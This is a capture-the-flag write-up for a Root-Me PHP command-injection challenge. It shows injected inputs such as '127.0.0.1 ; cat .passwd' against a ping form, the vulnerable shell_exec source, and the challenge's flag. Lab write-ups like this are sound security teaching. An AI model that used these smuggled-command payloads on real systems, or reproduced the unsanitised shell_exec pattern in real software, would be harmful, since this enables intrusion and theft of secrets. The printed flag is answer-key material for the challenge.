> For the complete documentation index, see [llms.txt](https://kunalwalavalkar.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kunalwalavalkar.gitbook.io/write-ups/root-me/web-server/php-command-injection.md).

# PHP - Command injection

> Find a vulnerability in this service and exploit it. The flag is on the index.php file.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FD5kEmOra2OKMyEiUUUbr%2F1%2046.png?alt=media&amp;token=eee25565-71ef-49b6-aef2-aedc010eb0ff" alt=""><figcaption></figcaption></figure>

Let's input `127.0.0.1` as the input field is suggesting.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2F6stFu3O4LT6h3M07VRrb%2F2%2042.png?alt=media&amp;token=7c4f95c6-e122-4204-ba92-4472bd40dc2d" alt=""><figcaption></figcaption></figure>

We can see that our input is used to execute a `ping` command.

We know the flag is on the `index.php` file. In order to `cat` the flag we need to use the `;` separator.

## User Input

```
127.0.0.1 ; cat index.php
```

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2F7gDmNSthqGdpr9omHZ47%2F3%2032.png?alt=media&amp;token=ba62b528-a99c-4d43-8442-0ad237ed8197" alt=""><figcaption></figcaption></figure>

Looks like our input was processed properly. Let's check the source code.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FlTX11rOQWxtez0wLASCG%2F4%2022.png?alt=media&amp;token=fcc1deb2-63ec-4dba-8472-00c54327b0dc" alt=""><figcaption></figcaption></figure>

The source code reveals an interesting piece of code.

## PHP code

```php
<?php 
$flag = "".file_get_contents(".passwd")."";
if(isset($_POST["ip"]) && !empty($_POST["ip"])){
        $response = shell_exec("timeout -k 5 5 bash -c 'ping -c 3 ".$_POST["ip"]."'");
        echo $response;
}
?>
```

* The line `shell_exec("timeout -k 5 5 bash -c 'ping -c 3 ".$_POST["ip"]."'")` executes a shell command based on user input ($\_POST\["ip"]).
* The line `"".file_get_contents(".passwd").""` reads the content of a file named `.passwd` and appends it to the `$flag` variable.
* Let's modify our input to `cat` the `.passwd` file.

### User Input

```
127.0.0.1 ; cat .passwd
```

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FYSHwfmvObGX94YVOMs7t%2F5%2013.png?alt=media&amp;token=4bb2edef-aa47-43c3-8f7b-0d9511c495d8" alt=""><figcaption></figcaption></figure>

## Flag

```
S3rv1ceP1n9Sup3rS3cure
```
